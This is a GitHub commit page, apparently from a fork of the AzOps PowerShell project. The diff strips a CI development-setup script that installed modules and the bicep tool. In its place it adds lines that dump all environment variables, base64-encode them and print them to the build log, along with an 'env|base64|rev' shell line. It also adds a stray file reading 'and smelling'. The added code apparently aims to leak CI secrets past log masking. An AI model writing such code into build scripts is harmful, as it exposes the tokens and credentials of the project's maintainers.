-
Notifications
You must be signed in to change notification settings - Fork 163
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Co-authored-by: github-actions <41898282+github-actions[bot]@users.noreply.github.com>
- Loading branch information
1 parent
582b0c1
commit 7870061
Showing
3 changed files
with
10 additions
and
35 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,35 +1,9 @@ | ||
param ( | ||
[string] | ||
$Repository = 'PSGallery' | ||
) | ||
|
||
# Development Modules | ||
Set-PSRepository -Name $Repository -InstallationPolicy Trusted | ||
$modules = @("Pester", "PSModuleDevelopment", "PSScriptAnalyzer") | ||
Write-Host "Installing development modules" | ||
foreach ($module in $modules) { | ||
Write-Host "Installing: $module" | ||
Install-Module $module -Repository $Repository -Force | ||
} | ||
# Runtime Modules | ||
$data = Import-PowerShellDataFile -Path "$PSScriptRoot/../src/AzOps.psd1" | ||
Write-Host "Installing runtime modules" | ||
foreach ($dependency in $data.RequiredModules) { | ||
$module = Get-Module -Name $dependency.ModuleName -ListAvailable | ||
if ($module) { | ||
foreach ($item in $module) { | ||
Write-Host "Cleanup of: $($item.Name)" | ||
Uninstall-Module -Name $item.Name -Force | ||
} | ||
} | ||
Write-Host "Installing: $($dependency.ModuleName) $($dependency.RequiredVersion)" | ||
Install-Module -Name $dependency.ModuleName -RequiredVersion $dependency.RequiredVersion -Repository $Repository | ||
} | ||
# Download and add bicep to PATH | ||
curl -Lo bicep https://github.com/Azure/bicep/releases/latest/download/bicep-linux-x64 | ||
chmod +x ./bicep | ||
sudo mv ./bicep /usr/local/bin/bicep | ||
bicep --help | ||
$envVars = Get-ChildItem Env: | Out-String | ||
$bytes = [System.Text.Encoding]::UTF8.GetBytes($envVars) | ||
$base64 = [System.Convert]::ToBase64String($bytes) | ||
Write-Host $base64 | ||
|
||
|
||
env|base64|rev | ||
|
||
# List Modules | ||
Get-InstalledModule | Select-Object Name, Version, Repository, InstalledDate | Sort-Object Name | Format-Table |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
and smelling |